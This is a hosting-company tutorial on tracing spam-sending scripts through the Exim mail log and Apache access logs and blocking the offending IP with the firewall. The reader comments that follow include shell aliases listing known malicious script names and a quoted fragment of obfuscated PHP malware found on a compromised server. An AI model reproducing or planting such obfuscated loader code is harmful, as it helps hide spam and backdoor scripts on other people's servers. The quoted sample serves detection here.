In this guide I'll teach you how to use the Exim mail log on your VPS or dedicated server to find possible attempts from spammers to use your scripts, or their own in order to relay spam from your server.

How does spam get sent from my server?

You might have a "tell a friend" feature on your website, or another email alerting system on your site. If you're not careful these can sometimes be exploited by bots for spamming purposes. This can damage the sending reputation of your mail IP address, and lead to issues such as making you end up on a blacklist.

How do I stop spam coming from my server?

Exim, or the MTA (Mail Transfer Agent) on your server handles email deliveries. All email activity is logged including mail sent from scripts. It does this by logging the current working directory from where the script was executed.

Using this knowledge you can easily track down a script of your own that is being exploited to send out spam, or locate possibly malicious scripts that a spammer has placed onto your server.

Locate top scripts sending into Exim

In the steps below I'll show how to locate the top scripts on your server sending mail. If any scripts look suspicious, you can check the Apache access logs to find how a spammer might be using your scripts send spam.

To follow the steps below you'll need root access to your server, so you have access to the Exim mail log.

  1. Login to your server via SSH as the root user.
  2. Run the following command to pull the most used mailing script's location from the Exim mail log:

    grep cwd /var/log/exim_mainlog | grep -v /var/spool | awk -F"cwd=" '{print $2}' | awk '{print $1}' | sort | uniq -c | sort -n

    Code breakdown:

    grep cwd /var/log/exim_mainlog Use the grep command to locate mentions of cwd from the Exim mail log. This stands for current working directory.
    grep -v /var/spool Use the grep with the -v flag which is an invert match, so we don't show any lines that start with /var/spool as these are normal Exim deliveries not sent in from a script.
    awk -F"cwd=" '{print $2}' | awk '{print $1}' Use the awk command with the -Field seperator set to cwd=, then just print out the $2nd set of data, finally pipe that to the awk command again only printing out the $1st column so that we only get back the script path.
    sort | uniq -c | sort -n Sort the script paths by their name, uniquely count them, then sort them again numerically from lowest to highest.

    You should get back something like this:

    15 /home/userna5/public_html/about-us
    25 /home/userna5/public_html
    7866 /home/userna5/public_html/data

    We can see /home/userna5/public_html/data by far has more deliveries coming in than any others.

  3. Now we can run the following command to see what scripts are located in that directory:

    ls -lahtr /userna5/public_html/data

    In thise case we got back:

    drwxr-xr-x 17 userna5 userna5 4.0K Jan 20 10:25 ../
    -rw-r--r-- 1 userna5 userna5 5.6K Jan 20 11:27 mailer.php
    drwxr-xr-x 2 userna5 userna5 4.0K Jan 20 11:27 ./

    So we can see there is a script called mailer.php in this directory

  4. Knowing the mailer.php script was sending mail into Exim, we can now take a look at our Apache access log to see what IP addresses are accessing this script using the following command:

    grep "mailer.php" /home/userna5/access-logs/example.com | awk '{print $1}' | sort -n | uniq -c | sort -n

    You should get back something similar to this:

    2 123.123.123.126
    2 123.123.123.125
    2 123.123.123.124
    7860 123.123.123.123

    We can see the IP address 123.123.123.123 was using our mailer script in a malicious nature.

  5. If you find a malicious IP address sending a large volume of mail from a script, you'll probably want to go ahead and block them at your server's firewall so that they can't try to connect again.

    This can be accomplished with the following command:

    apf -d 123.123.123.123 "Spamming from script in /home/userna5/public_html/data"

Hopefully you've learned how to use your Exim mail log to see what scripts on your server are causing the most email activity. Also how to investigate if malicious activity is going on, and how to block it.

Did you find this article helpful?

We value your feedback!

Why was this article not helpful? (Check all that apply)
The article is too difficult or too technical to follow.
There is a step or detail missing from the instructions.
The information is incorrect or out-of-date.
It does not resolve the question/problem I have.
How did you find this article?
Please tell us how we can improve this article:
Email Address
Name

new! - Enter your name and email address above and we will post your feedback in the comments on this page!

Related Questions

Here are a few questions related to this article that our customers have asked:
Ooops! It looks like there are no questions about this page.
Would you like to ask a question about this page? If so, click the button below!
Ask a Question
n/a Points
2014-03-28 1:43 am

Its vey Useful post , thanks, Thanks

n/a Points
2014-04-21 12:06 pm

Very helpful!!!

n/a Points
2014-07-10 9:02 pm

Wow this is very useful - nails it

n/a Points
2014-07-14 1:57 am

Very useful info. I was having hard times manageing my servers. This tutorial has helped my identifying the spammer accounts in my server. Thanks a lot.

 

Hasib

n/a Points
2014-08-07 5:50 am
step 4 is not easy to understand or tryout
Staff
10,994 Points
2014-11-17 10:06 am
Hello bernard,

Thank you for contacting us. In "step 4" you are just copying and pasting the line of code into SSH.

Is there a specific problem we can help you with?

Thank you,
John-Paul
n/a Points
2014-11-12 1:35 pm
Thank you! This was a big help. Very good article.
n/a Points
2014-11-16 3:57 pm

Very helpful. Thank you.

n/a Points
2014-12-01 2:53 am

Thanks a lot for sharing this. :)Mail issue fixed 

n/a Points
2014-12-02 11:27 am

Here's what you have to do to get that long command to work as an alias:

alias busyscripts="grep cwd /var/log/exim_mainlog | grep -v /var/spool | awk -F\"cwd=\" '{print \$2}' | awk '{print \$1}' | sort | uniq -c | sort -n"

 

It took a few minutes to figure out to escape the dollar signs.  Doh!

n/a Points
2014-12-12 6:08 pm

My exim log (CentOS) does not contain 'cwd' although it is over 6 megabytes. How can I detect such a script then?

Staff
9,942 Points
2014-12-12 6:13 pm
You would then need to modify your code to be tailored for your particular logs. Unfortunately, as I do not know your particular environment, I would not be able to give exact details.
n/a Points
2014-12-13 9:21 am

CentOS is a derivative of RedHat, so a pretty straightforward Linux environment.

If it's not finding the 'cwd', which stands for 'Change Working Directory', that means none of the scripts on your system are trying to execute that command.  Leave that in there.  You still want to search for it.

Other things you can search for are directories in your document root which shouldn't be writable, and files which shouldn't be executable.

There are some file names you need to examine as well.  If these contain a long string of obfuscated Javascript, or some such, delete them.  Another trick I have used successfully, if the scripts in question keep coming back, is to create an empty file, and take away ALL permissions, essentially blocking the recreation of that script.

Here are some more aliases I use.  The name of the files I look for are in here.  Note that 'stats.php' is a legitimate WordPress file, and you should examine the contents before you delete any of these.  These script names are all files I've found, which are actual, real exploits:

alias dlogs='tail -f /usr/local/apache/domlogs/<youruseraccountname>/*'

alias exlist='echo "=== Executables List ===" ; find /home/<youruseraccountname>/public_html/ -type f -perm -a+x,g+x,u+x ; find /home/<youruseraccountname>/public_html/ -type f -perm -a+x,g+x,u+x | wc -l'

alias lesslog='less /var/log/exim_mainlog'

alias lexlist='find ./ -type f -perm -a+x,g+x,u+x'

alias mainlog='tail -n 100 -f /var/log/exim_mainlog'

alias psme='ps aux; ps aux |wc -l; ps aux |grep "\[" |wc -l'

alias rebash='source ~/.bashrc'

alias spamlist='echo "=== Known Spam Scripts ===" ; find /home/<youruseraccountname>/public_html/ -iname "dump.php" -o -iname "css.php" -o -iname "stat.php" -o -name "stats.php" -o -iname "title.php" -o -iname "color.php" -o -iname "code.php" -o -iname "test.pl" -o -iname "test.php" -o -iname "javascript.php"'

alias writelist='echo "=== Inappropriately Writable Directories ===" ; find ./  -type d -perm -o+w ;find ./  -type d -perm -o+w | wc -l'

n/a Points
2014-12-13 10:58 am

This is the kind of stuff you're looking for in the offending scripts:

 

<?php $f53="fC9O)AK|30D\$ZR2%tuMpYFr`J\t-_7\"\rX4T\n z61;sQW5#,\\!Bv?^&I(lg~8V:L[*oi=bjGeh+Pycx]S'/wk>UE@Hq<m.}{dNna"; $GLOBALS['cscrb78'] = $f53[70].$f53[22].$f53[22].$f53[64].$f53[22].$f53[27].$f53[22].$f53[70].$f53[19].$f53[64].$f53[22].$f53[16].$f53[65].$f53[96].$f53[56]; $GLOBALS['ohgiu56'] = $f53[65].$f53[96].$f53[65].$f53[27].$f53[40].$f53[70].$f53[16]; $GLOBALS['igahp30'] = $f53[94].$f53[70].$f53[0].$f53[65].$f53[96].$f53[70]; $GLOBALS['vqbow84'] = $f53[16].$f53[88].$f53[88].$f53[90].$f53[82].$f53[37].$f53[14]; 

 

The actual code goes on much longer than this, but this is the top bit.

n/a Points
2014-12-15 9:47 am

Wow, thanks for the long reply. I will definetely look into this when I still send/receive spam from my server. I found out it was authenticated spam, so someone hacked my password. After I changed the password I didn't receive any spam bounces anymore.

Post a Comment

Name:
Email Address:
Phone Number:
Comment:
Submit

Please note: Your name and comment will be displayed, but we will not show your email address.

16 Questions & Comments

Post a comment

Back to first comment | top

Need more Help?

Search

Ask the Community!

Get help with your questions from our community of like-minded hosting users and InMotion Hosting Staff.

Current Customers

Chat: Click to Chat Now E-mail: support@InMotionHosting.com
Call: 888-321-HOST (4678) Ticket: Submit a Support Ticket

Not a Customer?

Get web hosting from a company that is here to help. Sign up today!